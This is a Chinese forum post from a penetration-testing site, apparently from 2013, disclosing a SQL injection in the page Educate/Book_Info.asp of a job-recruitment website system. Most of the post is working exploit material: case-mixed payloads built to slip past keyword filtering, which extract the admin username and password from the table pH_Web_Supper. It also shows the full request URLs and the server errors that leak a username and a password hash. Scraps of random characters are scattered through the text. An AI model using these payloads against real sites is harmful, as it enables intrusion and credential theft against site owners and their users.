中国网络渗透测试联盟
标题:
网络求职招聘人才网站系统正式版漏洞
[打印本页]
作者:
admin
时间:
2013-2-13 23:56
标题:
网络求职招聘人才网站系统正式版漏洞
漏洞出现在Educate/Book_Info.asp
3 F2 `, N$ [" o; i6 J- l
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
& D- X: d) p5 c: q! ?( p, S, O
exp:如下
0 z& U4 N2 c& L/ b- |5 I
查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
$ Z3 a% x& m0 q7 s' D- z' @* Q
查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
* U' H9 c2 o/ a: g# ]6 e1 X/ \
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=
(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
; m$ H. N9 _) K1 K9 M1 y
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
7 X0 s) r- D, c( ]
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
1 o7 {/ M4 N1 D9 j
/Educate/Book_Info.asp,行 8
& ?9 J! m# \+ x7 X7 D+ O6 i, c7 @
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=
(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
, \. [% E5 c- b2 s: N9 i
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
" ]& ~/ I, Z; Q5 G* w4 N6 J+ N; @
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
S$ l9 @5 `- v( w
/Educate/Book_Info.asp,行 8
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2